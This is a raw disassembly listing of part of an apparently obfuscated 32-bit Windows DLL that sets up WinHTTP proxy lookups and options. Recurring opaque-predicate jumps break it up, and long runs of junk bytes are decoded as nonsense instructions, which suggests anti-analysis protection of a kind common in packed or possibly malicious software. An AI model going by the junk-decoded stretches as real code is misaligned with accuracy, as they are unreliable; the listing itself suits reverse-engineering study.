sub byte [edx + edx*4 - 0x2f], dh
dec ebx
dec ebx
inc eax
mov ebp, 0x38d0c488
aas
xor byte [edi + 0x31], ch
push esp
jb 0x1007cf0f
outsd dx, dword [esi]
xor dword [edx + esi*2 + 0x57], edx
cli
sahf
sbb edi, dword [edx - 0x1cbeb0e0]
adc byte [ebp + 0x5e], dl
mov esi, 0xa951dd05
xchg dword [ebp + 0x4746b6f], eax
push ecx
test eax, 0x6b6f8587
je 0x1007ced3
js 0x1007cf2d
jge 0x1007cf1e
or byte [esi - 0x39804099], dh
pop ds
pop esi
add al, 0x2e
mov esi, 0x150d203d
push ds
jge 0x1007cee5
scasd eax, dword es:[edi]
cmpsd dword [esi], dword es:[edi]
loop 0x1007cf16
mov dword [0xc29d678c], eax
test eax, 0x9a38d3a7
cwde
cmp byte [ebp + ebx*4 - 0x55], bh
sbb ah, byte [edx - 0x4e]
sub byte [ecx + 3], al
inc esi
salc
pop esp
popfd
push ebx
pushfd
test byte [0x1007d005], 0x20
jne 0x1007d006
add byte [eax], al
jl 0x1007cf49
lahf
insb byte es:[edi], dx
pushal
mov ebp, 0xda8163a5
salc
mov bl, 0xa9
imul edi, dword [edx + esi*8], 8
inc edi
cmp byte [eax + 0x61], dl
sub bh, byte [ebx - 0x2b]
adc al, 0xed
insb byte es:[edi], dx
leave
jae 0x1007cf97
daa
mov ecx, 0xddd28126
cmp al, 0xff
push edi
movsb byte es:[edi], byte [esi]
in eax, 0xcb
call 0x8cb771f6
loopne 0x1007cfa4
xchg byte [ecx + 0x77], dl
add dword [esi], 0xcf7b9258
xchg edx, eax
jnp 0x1007cf1b
inc esi
jnp 0x1007cf80
or eax, 0xdcc77456
cmp esp, dword [ecx + 0x50]
push es
fdivr st(6), st(0)
xchg byte [ebx - 0x49df8bfd], dh
or dword [esi + 0x3ecc5d3c], ebx
xchg esp, eax
adc esi, ebx
mov ecx, 0x19d00524
or ebp, eax
inc ecx
out 0x50, eax
fstp qword [0x5810ec1a]
sub edi, esp
aad 0xad
dec esp
out dx, eax
mov ah, 0x77
push cs
ja 0x1007cf90
xor eax, dword [0xb5320fbc]
cdq
cmc
xchg ebp, eax
add eax, dword [ebp - 0x571efaf3]
insd dword es:[edi], dx
test al, 0x6d
cdq
out 0x30, al
jno 0x1007d00e
jl 0x1007cfb2
sub al, 0xb0
pop ebp
and eax, 0x89bfcb6c
inc esp
mov dl, byte [edi]
cli
mov dword [0x87d92929], eax
mov ebx, 0x5817bf28
ror byte [ebx + esi*2], 0xde
pop esp
cmp ebp, edi
ficomp word [ecx + edi - 3]
pop ss
mov word [eax + 0x55], es
inc ecx
in eax, dx
sahf
int1
pop ebp
pop ebp
adc dword [eax + 0x15], ebx
dec esi
mov dword [0xeaa6c1d6], eax
pop ecx
lahf
jae 0x1007d004
dec ebp
pop eax
push edi
or eax, 0xb411de4
pushfd
fsubr qword [edi]
cmc
fmul dword [ecx]
int3
mov al, 0x7c
popfd
push eax
call fcn.1011df60
mov eax, dword [ebp - 0xd00]
push 0xc
mov dword [ebp - 0xc50], eax
lea eax, [ebp - 0xcd4]
push ebx
push eax
mov dword [ebp - 0xc58], 3
pushfd
test byte [0x1007d052], 0xf5
jne 0x1007d053
test dword [eax], eax
invalid
push ebp
das
mov al, 0x3f
adc al, 0x98
mov esp, ss
or dh, byte [esi]
fisttp qword [ebx + 0x1d3cf8c2]
dec edi
dec esi
cli
in al, 0x59
bound edx, qword [eax + 8]
xchg ebp, eax
xchg edx, eax
popfd
mov dword [ebp - 0xc54], esi
mov dword [ebp - 0xc44], esi
mov dword [ebp - 0xc48], ebx
pushfd
test byte [0x1007d09f], 0xc6
jne 0x1007d1a0
or ch, byte [edx + 0x7c1dc231]
cmc
mov cl, 0x64
dec edx
mov ss, word [edx + 0x6b05bcde]
mov dh, 0x9d
in eax, dx
push es
xor dword [ebp + 0x4f3a2a3], esp
sal byte [esi + 0x27], cl
cdq
mov cl, 0xe6
in eax, dx
das
jno 0x1007d0d5
mov ch, 0x9c
insb byte es:[edi], dx
adc edi, dword [edx - 2]
sal bl, cl
call 0x48b4446
call 0x48b4446
cmp ecx, dword [eax + 0x5a]
mov al, byte [0xdf27e4e3]
sbb eax, 0x5570d5d6
aad 0x70
push ebp
sbb eax, 0x341bf749
ror dword [ebp + 0x69afb704], cl
outsb dx, byte [esi]
adc eax, dword [edx - 0x59]
push esi
loop 0x1007d10f
dec dword es:[edi - 0x31dffdc1]
dec ecx
pushal
imul esp, dword [eax - 0x65], 0xffffffc1
in eax, 0x31
shl ebp, 0x31
mov eax, 0x3868f8b9
or dword [ebx - 0x74aa24cd], esi
clc
push 0x33b30938
fist dword [ebp - 0x75]
xchg ebp, eax
cmp ebp, ebp
mov ebx, 0x79d14dba
push eax
xor byte [edx - 0x38], dl
adc eax, dword [edi + 0x47]
test eax, 0xf4003b5f
mov ebx, 0xc3ca3791
sbb bh, byte [ecx]
loop 0x1007d09f
movsd dword es:[edi], dword [esi]
jb 0x1007d0af
mov eax, dword [0x50a7b949]
neg dword [ecx]
stosb byte es:[edi], al
jae 0x1007d148
mov edi, 0xe5e1a42
pop esp
adc al, byte [edi - 0x41]
sbb al, 0xe7
pop ds
pop ebx
inc edi
mov edi, 0x5b1fe71c
inc edx
xor eax, 0xc51379fa
test byte [eax - 0x9d7566d], cl
out 0x4f, eax
jae 0x1007d0d0
rcr ah, cl
sbb ecx, ebp
imul eax, esi, 0x1e8c3ccb
pop fs
int 0x8c
and ch, 0x67
sub al, 0xb9
or byte [edi], dl
inc edi
sbb esp, dword [edi]
dec edi
push ecx
dec esp
sar esp, 0x1a
arpl si, bx
mov bh, 0xdd
cmp dword [eax + 0x328bd3c2], 8
cli
mov eax, 0x328bd3c2
or dl, bh
mov edx, 0x60f245b8
cmp al, 9
sbb dword [ebp + 0x32], ebx
das
neg byte [eax + 0x2a]
inc esi
xor cl, byte [edx + 0x3f]
ror byte [ecx], 0xa7
pop ecx
adc ch, cl
inc ebx
sbb ah, byte [ecx + 0x614adfa9]
pop ecx
nop
scasb al, byte es:[edi]
sub esi, edx
xor al, 0xe
mov esp, 0x98a2edcb
cmp ch, dl
sahf
or eax, 0x6dc35ac4
test eax, 0xc700a8e9
scasb al, byte es:[edi]
mov dh, 0xf0
jbe 0x1007d1ef
insb byte es:[edi], dx
push esi
cmpsd dword [esi], dword es:[edi]
cmp edi, dword [edx + edx - 0x7f34d099]
adc bl, byte [edx + esi - 0x3d433aee]
int3
popfd
mov dword [ebp - 0xc4c], ebx
call fcn.1011df60
add esp, 0x18
pushfd
test byte [0x1007d1ce], 0x9b
jne 0x1007d1cf
invalid
mov al, 0x55
mov dh, byte [edx - 0x19]
in eax, 0xe4
pop ss
xchg ecx, eax
int1
imul esp, dword [ebx], 0x890275a6
mov dl, 4
mov al, 0xce
das
popfd
cmp dword [edi + 0x24], 0x10
jb 0x1007d280
mov edi, dword [edi + 0x10]
pushfd
test byte [0x1007d279], 0x79
jne 0x1007d27a
xchg esp, eax
cmp byte [ecx - 0x1a], 0xc3
push esp
or eax, 0x6a834a16
cmp dword [edx], 0x4a
add eax, 0x85cf7c1f
inc esp
mov edx, 0xf4a3659a
push edx
in al, dx
ret
adc eax, 0x7d03e0a2
aam 6
push ds
dec edi
call dword [edi + 0x21]
aad 0xab
push edi
and ebp, edx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
mov word [edi + 0x1a], es
jge 0x1007d206
jb 0x1007d1a4
add eax, 0x2c2a3f60
mov ebx, ecx
std
stc
stosb byte es:[edi], al
and byte [esi + 0x59fb7ee6], dh
push cs
lodsb al, byte [esi]
sbb byte [esp + ecx*4 - 0x4f], al
and dword [edx], ecx
jge 0x1007d1c2
add eax, 0x77fa36dc
jge 0x1007d24e
jnp 0x1007d262
aam 0x6d
mov byte [edi + 0x2ddd9808], bh
xor dword [eax - 0x18], eax
push ds
push 0xffffffffffffffe5
add eax, 0x220b37f1
sbb esp, esi
int3
jge 0x1007d210
xor edi, ecx
inc esi
inc ecx
stosd dword es:[edi], eax
mov ah, 0xc7
mov esi, 0x3ad56be0
cmp al, 0xf6
cmp ecx, dword [0xb4ed8460]
std
popfd
jmp 0x1007d314
add edi, 0x10
pushfd
test byte [0x1007d312], 0xda
jne 0x1007d313
mov cl, 0x30
cmp byte [esi + 0x27], bl
shr byte [ecx], cl
jo 0x1007d306
mov bh, 0x8f
int3
and eax, esi
fst dword [eax + edx*2]
dec edi
test al, 0xf4
inc ebp
out 0x20, al
aas
xchg edi, eax
popfd
cmp edi, ebx
pushfd
test byte [0x1007d324], 0xe2
jne 0x1007d325
mov ebx, 0x46f774da
popfd
je 0x1007d33a
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + 1]
cmp esi, 0x3fffffff
jle 0x1007d33e
xor eax, eax
jmp 0x1007d352
lea eax, [esi + esi]
call fcn.101222f0
mov eax, esp
push 3
push esi
push edi
add edx, dword [esi + 0x57]
push eax
call fcn.10052ae6
mov esi, dword [ebp - 0xcdc]
lea ecx, [ebp - 0xcd4]
push ecx
lea ecx, [ebp - 0xc58]
pushfd
test byte [0x1007d3ad], 0x4f
jne 0x1007d4ae
lea ebp, [ebx + esi*8]
invalid
and bl, byte [ebp + 0x1741e91b]
in al, dx
rcr byte [ecx + 0x6a], cl
cwde
aam 0xbc
mov ds, word [ecx + 0x3efa1011]
mov byte [ebx + 0xe], ah
mov dl, 0xc8
jns 0x1007d349
xchg edi, eax
jns 0x1007d3b5
adc bh, byte [ecx - 0x61fe04dd]
xor al, 0xb1
push es
sbb ecx, dword [esi + edx*2]
xor dl, byte [ebp + 0x29]
test eax, 0xc41096bf
int1
xlatb
fdiv st(4), st(0)
loopne 0x1007d3ed
xor dword [ecx - 0x4c07b0fb], ecx
pushal
mov eax, dword [0xdba47307]
cmp cl, cl
pop es
jae 0x1007d359
fstp xword [edx]
leave
mov bh, 0x98
mov bl, 0x58
xchg dword [eax + 0x4e6ff691], edx
sbb ebp, dword [esi + ecx*8 - 0x61ff54a]
mov cl, 0xbc
je 0x1007d415
leave
sbb ah, byte [eax - 6]
cld
in eax, 0x66
xlatb
popfd
add ch, bl
mov dh, 0x1d
xchg dh, bl
or ebx, ecx
js 0x1007d3b1
xchg ebx, eax
cmp cl, byte [edi + 0x22]
xor ecx, dword [esi - 0x29]
inc esi
inc esp
push ebx
push edx
adc eax, 0xc1eb974c
dec esp
xchg edi, eax
jmp 0x1007d3b2
in al, 0x1e
out dx, al
clc
je 0x1007d414
pop esp
sbb eax, 0x66d946f9
pushfd
stc
out 0x79, eax
cld
cld
xchg byte [0xe79349ce], ch
call 0xc031cd75
dec esi
rep lodsd eax, dword [esi]
mov bl, 0x50
out 3, eax
add eax, dword [edx - 0x4710a461]
push edx
mov ah, 0xda
test al, 0x15
rcl dword [edi]
add eax, 0x346a6868
invalid
sbb byte [edi + 0x52b8ef5b], 0xb4
fisubr dword [eax + 0x517d115]
push 0xfe346a68
lodsb al, byte [esi]
and al, 0x7d
sub dh, cl
adc esp, dword [edx - 0x5c74c787]
out dx, al
jbe 0x1007d3f1
arpl word [0x4f66179e], ax
jns 0x1007d467
or dword [eax - 0x21], 0xb364f418
inc edx
outsd dx, dword [esi]
push ebx
int 5
pop edi
daa
sub bl, byte [edi + 9]
into
cmp eax, 0x4b888511
inc edi
daa
push 0xffffffffffffffec
cli
mov dl, 8
xchg dword [edx], eax
cmp al, 0xce
sbb eax, 0x9199448f
xchg ebx, eax
mov ecx, 0x7d3fb78f
xchg esp, eax
int1
dec ebp
invalid
popfd
push ecx
pushfd
test byte [0x1007d4bf], 0x3e
jne 0x1007d4c0
daa
pop ecx
push 0x18
mov cl, 9
popfd
push eax
push dword [esi]
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
pushfd
test byte [0x1007d552], 0x52
jne 0x1007d553
adc byte [esi + esi*8 + 0x7d55205], bl
adc byte [edx + 0x75], dl
jg 0x1007d515
inc eax
sub al, 0x4d
je 0x1007d53d
xchg edi, eax
inc ebx
add dh, byte [0x528b3acb]
pop ebx
push edx
mov ah, 0xd
cli
shr dword [ecx + edx*8], 1
jbe 0x1007d4ae
daa
adc al, ah
cmp ah, byte [eax]
push ss
jnp 0x1007d4c9
dec eax
out dx, al
cdq
cmp eax, 0x2551ab9
mov al, byte [0x648f82ea]
pop es
mov eax, 0x86b037d2
jae 0x1007d4c2
les ebx, [0xb18ae76c]
ficomp word [edx - 0x1439577c]
xchg ebp, eax
mov ebp, 0x43978e1d
jns 0x1007d53b
aas
sbb dword [ecx], edx
in eax, dx
bound eax, qword [edx - 0xf]
shr byte [edi + edx - 0x78ff363], 0xa
pop ebx
push ds
test al, 0xed
imul eax
push ecx
insd dword es:[edi], dx
mov ebx, 0xfaf85afb
into
sbb byte [esi - 0x4f516fd9], dh
pop edx
daa
nop
scasb al, byte es:[edi]
mov al, 0x5a
xchg esi, eax
inc eax
and dh, ch
inc edi
mov eax, dword [0xeae6071e]
pop es
out 0xea, al
cmp eax, 0x34d86e23
cli
popfd
test eax, eax
je 0x1007d703
push 0xc
lea eax, [ebp - 0xcd4]
push eax
push 0x26
push dword [ebp - 0xcc0]
pushfd
test byte [0x1007d5b0], 0x97
jne 0x1007d6b1
daa
mov dword [edi + 0x3a], ebp
xchg byte [eax - 0x71e2ceca], dh
mov bh, byte [esi]
and ebx, dword [eax - 0x11f4fc4c]
pushal
xor dword ss:[0x233e8a8e], ebx
cwde
mov ah, 3
or ebp, esi
adc dl, bh
mul dword [esi]
mov esi, 0x2f2e8bf6
xor al, 0x3a
aad 0xf8
test byte [ebx + esi*8 - 0x57], cl
ficomp dword [esi + 0xe]
jb 0x1007d5d5
cmp al, 0xe1
scasb al, byte es:[edi]
push ds
mov esi, 0x5c1ef215
dec ebp
push ebx
cwde
jns 0x1007d581
ficom word [ecx + 0x2854dd78]
mov cl, 0xaa
and byte [edi + 0x7eb7a88c], bh
mov bl, byte [edi]
insd dword es:[edi], dx
push edi
jns 0x1007d5ea
loopne 0x1007d54a
in al, 0x27
mov eax, 0x1792895d
salc
mov esp, ecx
enter 0xffffffffffffea8b, 2
xor al, 0xc5
push edx
xor al, 0x80
xchg esi, eax
add dh, byte [eax*8 - 0x697fcbae]
xor ebx, dword [esi + 0x175057bc]
inc edi
and dword [ebx + 0x6d], 0xa3eb98d5
mov bh, 0x30
in eax, dx
std
mov ah, 0xb2
cdq
mov ebp, 0x58bf1e64
mov dword [0xa1b0bd01], eax
aam 0x40
enter 0xffffffffffff8470, 0xffffffffffffffbb
sbb dl, byte [ebx - 0x7e]
mov dh, 0x5f
popal
imul esp, eax, 0x1395c270
sbb dword [esi], esi
int3
popfd
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
jne 0x1007e8c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WinHttpSetOption_error1:_d
push ebx
pushfd
test byte [0x1007d6f0], 0xa5
adc byte [ebp + 0x759c1a74], ah
xlatb
je 0x1007d6f1
pushfd
jne 0x1007d6b1
push ecx
xchg esi, eax
stosb byte es:[edi], al
inc edi
cmpsd dword [esi], dword es:[edi]
lodsb al, byte [esi]
or dword [esi + 0x27065723], 0x3f1fce20
sahf
ja 0x1007d706
cmp eax, dword [ebx + 0x42]
popfd
push ebx
mov dword [esi + 0x124], eax
call fcn.10049c0c
add esp, 0x10
jmp 0x1007d70f
call dword [sym.imp.KERNEL32.dll_GetLastError]
bound edx, qword [eax + edx]
mov dword [esi + 0x124], eax
mov edi, esi
pushfd
test byte [0x1007d7df], 0xeb
jne 0x1007d7e0
loopne 0x1007d6d5
xlatb
and ch, byte [ebx + 0x36]
pop edi
adc edi, dword [ebx - 0x2c4504dc]
xor esi, dword [edi - 0x1c0d35d7]
insb byte es:[edi], dx
jae 0x1007d791
dec edx
or eax, 0x5fee59c4
out dx, al
pop edi
jae 0x1007d6d3
dec edi
int 0x56
jae 0x1007d7be
jnp 0x1007d7c2
cmc
cmp byte [0x75b658fd], bh
jnp 0x1007d73a
push ecx
test eax, 0xc0364f6e
shl byte [edi], 0x40
out 0xe5, eax
rol byte [ebx], 0x66
push esi
popfd
fild dword [ebx]
pop ebx
dec edx
sar byte [eax], 0x8d
fcomp qword [ecx]
mov ebx, ecx
xor al, 0x19
xchg byte [edi + ecx*2 + 0x68], cl
fxtract
test dword [eax + 0x2af351d1], ebx
mov word [ebp + 0x71d95b13], gs
xor eax, 0x124f5f65
sbb byte [edi], dh
scasd eax, dword es:[edi]
cmp dword [eax], edx
inc edx
push ecx
pop edi
push edi
push cs
pop ds
inc edx
je 0x1007d7c0
add ebp, ebx
add ebp, ebx
aad 0x2c
sti
outsb dx, byte [esi]
mov edi, 0x533d0a74
movsb byte es:[edi], byte [esi]
enter 0x33dc, 0xffffffffffffffa2
aaa
dec ebp
xchg ebp, eax
js 0x1007d7fd
or bh, byte [0xdcc8a453]
xor esp, dword [edx + 0x78954d37]
push esi
outsd dx, dword [si]
mov ebp, 0x80fbaef
lodsd eax, dword [esi]
add eax, 0x6d63d2b0
sub al, byte [edi - 0x6ea38969]
cmpsd dword [esi], dword es:[edi]
jne 0x1007d79a
jno 0x1007d767
test al, 0x5a
pop edx
adc ecx, dword [ebx - 0x292b1e40]
shl cl, 0xd4
salc
popal
xchg byte [edi + eax - 0x63], bl
call 0xcba3be8e
and al, 0xd8
mov dword [edx - 0x46], edx
adc eax, 0xe8c365f0
ja 0x1007d76b
loopne 0x1007d827
int 0xf0
popfd
jmp 0x1007e8c7
sbb bl, byte [ebx]
mov edx, 0xa261c866
and esi, edi
popfd
adc al, 0x26
mov bh, 0xd7
mov bl, 0xa9
inc ebx
xchg ecx, eax
add dh, al
push cs
dec esp
outsd dx, dword [esi]
xchg esi, eax
neg ecx
les ecx, [0x7fb8204f]
int3
add dword [esp + ebp], esp
and eax, 0xad7cb24b
sub al, 0xe2
enter 0x1686, 0xfffffffffffffffd
jns 0x1007d85e
xor byte [edi], ah
add dh, byte [edi - 0x539b03cf]
loopne 0x1007d869
js 0x1007d87e
dec edx
inc edi
mov dword [ecx + 0x4f529e02], 0xd52d0bf1
into
fmul st(4)
cmp esi, dword [edi]
jo 0x1007d8bf
inc ecx
xchg ecx, eax
pop eax
xchg edx, eax
popfd
cmp dword [ebp - 0xcfc], ebx
je 0x1007e8c7
add byte [edx + 0xc], ch
push 0xc
lea eax, [ebp - 0xcd4]
push ebx
push eax
call fcn.1011df60
pushfd
test byte [0x1007d8a3], 0xcc
pop es
adc ah, cl
jne 0x1007d8a4
jne 0x1007d8b2
out 0x58, al
lds ecx, [esi + 0x76]
movsd dword es:[edi], dword [esi]
push ds
cwde
push ebx
nop
nop
mov al, byte [0x5e16e7b3]
bound ebx, qword [ebx]
sub al, 6
movsb byte es:[edi], byte [esi]
in eax, 0x6c
pop esp
sahf
add ecx, dword [ebx - 0x39]
stc
popfd
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov dword [ebp - 0xcd4], 3
mov byte [ebp - 0x218], bl
call fcn.1011df60
mov eax, dword [ebp - 0xcfc]
add esp, 0x18
mov dword [ebp - 0xcc4], eax
cmp eax, ebx
jne 0x1007d93e
std
invalid
xor eax, eax
pushfd
test byte [0x1007d932], 0xb4
jne 0x1007d933
cmp ebp, ebx
and eax, 0xdf157787
sub al, 0x17
das
and eax, 0xadadb973
xchg byte [ebx], dl
inc ebp
daa
mov eax, dword [ecx]
test eax, 0xfafa171
xor esi, dword [ecx + 0x4a03c5c7]
inc edi
sti
das
push ss
mov bl, byte [edx]
lea edi, [esi + 0x68edc3f]
ficomp word [ecx + 0x65]
sbb al, 0xfc
rcr byte [edx - 0x61], cl
adc al, 0x3d
add byte [edi], ch
in eax, 0x1b
sbb esi, dword [ebx]
cmpsd dword [esi], dword es:[edi]
mov byte [ebp + 0x522f1b4c], ah
cmp dl, byte [edi + 0x2a]
xor edx, ecx
mov eax, 0x895dd955
mov dword [ebp - 0x41], ebx
aas
popfd
mov edi, 0x3fffffff
jmp 0x1007da3a
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov edi, 0x3fffffff
cmp eax, edi
jle 0x1007d956
xor eax, eax
jmp 0x1007da3a
lea esi, [eax + eax]
mov eax, esi
call fcn.101222f0
mov eax, esp
pushfd
test byte [0x1007da29], 0x7a
jne 0x1007da2a
cmpsd dword [esi], dword es:[edi]
stosd dword es:[edi], eax
dec edx
cdq
sbb byte [ebx + ebx - 0x26f9b246], 0x4a
mov edx, 0xdb85b127
test ebx, ebx
pop esi
lodsd eax, dword [esi]
sub dl, al
push edi
jo 0x1007d97f
xchg ebp, eax
les edi, [esi]
pop eax
add ch, byte [ecx - 9]
out 0xaf, eax
sbb cl, cl
xchg esp, eax
jo 0x1007d932
pop ebx
movsb byte es:[edi], byte [esi]
loop 0x1007d996
in eax, dx
push 0xbc72b384
mov dl, 0xb5
popfd
sbb dword [esi + ecx*4 - 0x33], 0x50a8aaf
or al, bl
aad 0xc3
and al, 0x1a
and esi, dword [eax + 0x7a054dcd]
xor ebp, dword ds:[ebx + edi*2]
mov byte [edi - 0x22], al
int 0x26
mov ds, eax
inc ecx
dec dword [edi]
popfd
and byte [ebx - 0x27e56375], ah
out dx, eax
cmp dh, dh
sbb eax, 0xd09f5ffb
sub bl, al
mov eax, dword [0x4775a7b2]
dec esp
xchg ecx, eax
loop 0x1007d985
leave
movsd dword es:[edi], dword [esi]
sub al, 0xbc
adc ah, byte [ebx]
dec edx
popfd
xchg esi, eax
adc bl, byte [ebp - 0x37]
xlatb
mov al, 0x43
loopne 0x1007da03
dec esp
pop ebx
int3
int1
iretd
popfd
push 3
push esi
push dword [ebp - 0xcc4]
push eax
call fcn.10052d0b
push eax
lea eax, [ebp - 0x218]
pushfd
test byte [0x1007db2c], 0x37
adc byte [edi], dh
jne 0x1007db2d
sub al, byte [ecx + ebp*2 - 0x76]
add dword [ebx - 0x4a8ec4fa], eax
jb 0x1007dad4
std
mov dword [0xc91bebe0], eax
cmp edx, esi
add eax, 0xc56ed0a6
mov ecx, 0xb92103bd
push ecx
mov word [0xe97f40c8], es
cmpsb byte [esi], byte es:[edi]
add byte [esi - 0x4c5a945c], ch
sub edx, esi
mov ebp, eax
jno 0x1007da88
fdivr qword [edi - 0x6f]
cmp cl, byte [ebx + 0x4b]
push 0x18726a3d
mov esp, 0x139e872d
adc al, ch
imul esp, dword [eax], 0x5d2a7d76
cdq
test eax, ebx
mov eax, dword [0x52873fd4]
jno 0x1007da47
dec esi
leave
scasb al, byte es:[edi]
or eax, 0xdd8a2770
cmc
sub esp, ecx
inc esi
jge 0x1007daf7
cmovs ebx, edx
mov byte [edi + 0x13], dl
out dx, eax
and esi, 0xa731d187
sub eax, 0xc28bde3e
lodsd eax, dword [esi]
and dh, byte [ebx - 0x49]
loopne 0x1007db43
xor al, 0x29
enter 0xffffffffffffd47f, 0x24
invalid
or esi, dword fs:[ecx]
pop es
cmp al, 0x4c
xchg edx, eax
and bh, dl
sar dword [edi + 0x26], 0xa7
or esi, dword [edx - 0x3cd35aef]
popfd
pop es
adc dword [ebp + 0x79dc32c], esp
cmp al, 0xf2
jae 0x1007db2c
cwde
push esp
sahf
cmp byte [ebx - 0x2c99f663], bl
js 0x1007db38
inc eax
lodsb al, byte [esi]
xchg esi, eax
xor ecx, ecx
add eax, 0x38ca4ccd
fiadd dword [edx]
insb byte es:[edi], dx
mov word [ebp + 0x5f], gs
inc ebp
mov ah, 0x56
test byte [eax - 0x23e55914], dl
jne 0x1007dae3
mov ecx, 0xae0650c
pop ds
sub dword [ecx - 0xb3a5aa3], ecx
and al, 0x57
aaa
mov edi, 0x9a9c22cb
shr byte [edx], 0x7d
push 0x31
sub cl, ch
jmp 0x110c43ce
popfd
push 0x104
push eax
call fcn.1012231c
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
add byte [ebx - 0x7a72f33c], al
call 0x6107db40
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + 1]
cmp esi, edi
pushfd
test byte [0x1007db5a], 0x19
jne 0x1007db5b
daa
sub al, cl
popfd
jle 0x1007dcc2
mov dword [ebp - 0xcd0], ebx
jmp 0x1007de44
inc esp
mov edx, 0xd43ac49
retf 0x3527
mov byte [0x7d449d97], al
loopne 0x1007dbc1
stosb byte es:[edi], al
std
in al, 0x6d
push esi
mov ebp, 0x6f68e846
outsd dx, dword [esi]
sub ch, byte [eax + esi*8 - 0x73]
scasb al, byte es:[edi]
push ds
inc esi
push es
in eax, 0xc6
inc edx
out dx, eax
jb 0x1007dc2c
rcr ch, 1
loopne 0x1007dc82
xchg esi, eax
cmp eax, 0xe6c2c031
or eax, 0xa96c1672
sub byte [ecx], 0x53
jns 0x1007dc16
sub dword [ebx + 0x79], edx
out 0x35, al
wait
or byte [ebx - 0xbccacbf], 0x31
in al, 0x83
stc
invalid
xor eax, 0x418b829b
push ebx
xor esi, esp
xor esp, esp
cmp ecx, 0xffffffc4
out 0xbe, al
and edx, edx
pushal
test dword [edi + 0x6f77fcb6], esp
add al, bh
pop edx
pop edx
ja 0x1007dc4a
jle 0x1007dc38
add byte [esi + 0x8a3bc72], ah
push cs
pop ss
jecxz 0x1007dbfc
sal byte [esp + edi*2 + 0x662b7c40], 0x25
aad 0x46
shr dword [esi + esi], cl
pcmpgtd mm5, qword [ebx + 0x41]
and ch, byte [esi + esi*4 - 0x18]
jg 0x1007dc0d
lahf
mov bh, dl
adc byte [edx], bh
pop eax
xor esp, ecx
fsubr st(4)
sahf
leave
push ecx
mov eax, dword [0xe38266ff]
add esi, dword [ecx]
inc edi
in al, dx
and bl, 3
xor dword [edi - 0x14], eax
fnsave dword [ebx + edi*2 + 0x7b034eb5]
adc dword [ebp - 0x2c834b04], esi
fild qword [ebx + 0x5da47d3c]
movsb byte es:[edi], byte [esi]
pop ebp
add eax, 0xec30fbd9
inc esp
mov ah, 0xb2
leave
cmp esp, dword [ecx]
adc eax, 0x237c9667
movsb byte es:[edi], byte [esi]
lds esi, [ecx + 0x26]
fmul dword [edi + 0x54]
cmp edx, eax
add al, byte [eax + 0x3e]
push ebp
inc ebp
out 0x34, al
pop esp
cwde
push ebp
popfd
lea eax, [esi + esi]
pushfd
test byte [0x1007dcec], 0x32
jne 0x1007dded
pop ss
ja 0x1007dc5c
mov ebp, 0x9f586234
mov word [edx], gs
salc
push ecx
jns 0x1007dc9a
cwde
inc ecx
aam 5
inc ecx
jg 0x1007dcb9
xchg esi, eax
sbb ebp, ebx
mov bh, 0x9b
sbb eax, 0xc7749c1e
adc bl, bh
xor ebp, dword [edx]
or al, 0xc6
int1
jge 0x1007dcb5
mov ecx, dword [esi + 0x5099a8f9]
invalid
ret
popfd
call fcn.101222f0
pushfd
test byte [0x1007de2a], 0x65
jne 0x1007de2b
movsb byte es:[edi], byte [esi]
inc eax
loopne 0x1007dd9f
lodsb al, byte [esi]
and byte [ecx - 0x80], 0xbc
sbb al, 0xe6
jbe 0x1007de33
jnp 0x1007de0f
ficomp dword [0xaf6cefaa]
out dx, eax
insb byte es:[edi], dx
scasd eax, dword es:[edi]
pop ebx
push ebx
insd dword es:[edi], dx
jae 0x1007de81
xor al, byte [ebp - 0x145b4a43]
cdq
push ebp
mov esi, 0x72d0ac20
dec ebp
mov cl, 0xec
int 0x4b
loopne 0x1007de66
popfd
mov eax, esp
push 3
push esi
lea ecx, [ebp - 0x218]
push ecx
call 0x6207de35
push eax
call fcn.10052ae6
mov dword [ebp - 0xcd0], eax
mov esi, dword [ebp - 0xcf8]
cmp esi, ebx
je 0x1007e6a0
pushfd
test byte [0x1007defa], 0x52
jne 0x1007defb
inc esp
dec ecx
add dword [ebp - 0x3b91e7aa], 0x12a44f41
scasd eax, dword es:[edi]
mul dl
mov es, esi
insd dword es:[edi], dx
insd dword es:[edi], dx
dec edx
cwde
out 0xa6, eax
clc
jne 0x1007de2b
outsb dx, byte [esi]
les eax, [ecx + 0x4f]
movsb byte es:[edi], byte [esi]
adc ch, byte [edi - 0x710c1d0a]
invalid
fld qword [ecx + 0x2d]
enter 0xffffffffffff9aea, 0xffffffffffffffdf
inc ecx
sub eax, 0xdf9aeac8
fisttp word [edx - 0x5d]
sahf
adc bl, ah
sbb al, 0x86
add dh, byte [edi + 0x25]
dec edx
mov dword [0x1ce3109e], eax
xchg byte [edx], al
ja 0x1007deb1
neg dword [ebx - 0x27]
test dword [ecx - 0x191e4280], 0x4cbf135a
lodsd eax, dword [esi]
adc dword [esi], eax
pop edi
inc ebp
jne 0x1007de62
pop eax
dec ecx
xor ch, dh
mov dh, 0x6d
imul esp, dword [ebx + 0x7dd85c8b], 0x14
dec eax
pop eax
ja 0x1007de7c
mov edi, 0xd329d08b
enter 0xffffffffffffc946, 0xffffffffffffffef
xor eax, 0x72afaa35
out dx, eax
pop ss
add eax, 0xce6f510d
dec esp
popal
mov bh, 0x52
imul edi, dword [esi], 0xd
pop esp
dec edi
sbb dword [esi + 0x340060c1], esi
xchg ebx, eax
pop es
cmp al, 0x7c
xor al, 0x61
movsb byte es:[edi], byte [esi]
mov dword [0xca6900b1], eax
cmp ah, dh
out 0x1a, eax
jnp 0x1007df0a
pop edi
and byte [eax], ch
shl byte [edx + 0x4a557025], 1
xchg ebp, eax
xlatb
mov eax, dword [0x798f0689]
push ecx
popfd
push 0x103
add byte [eax], al
lea eax, [ebp - 0x113]
push ebx
push eax
mov byte [ebp - 0x114], bl
call fcn.1011df60
pushfd
test byte [0x1007df5a], 0x56
jne 0x1007e05b
popfd
in al, dx
invalid
mov byte [esp], 0xe4
dec edi
in al, 0x4f
add edi, dword [ebx - 0x38ff8983]
imul edi, dword [ebx], 0xe9622e34
popfd
xlatb
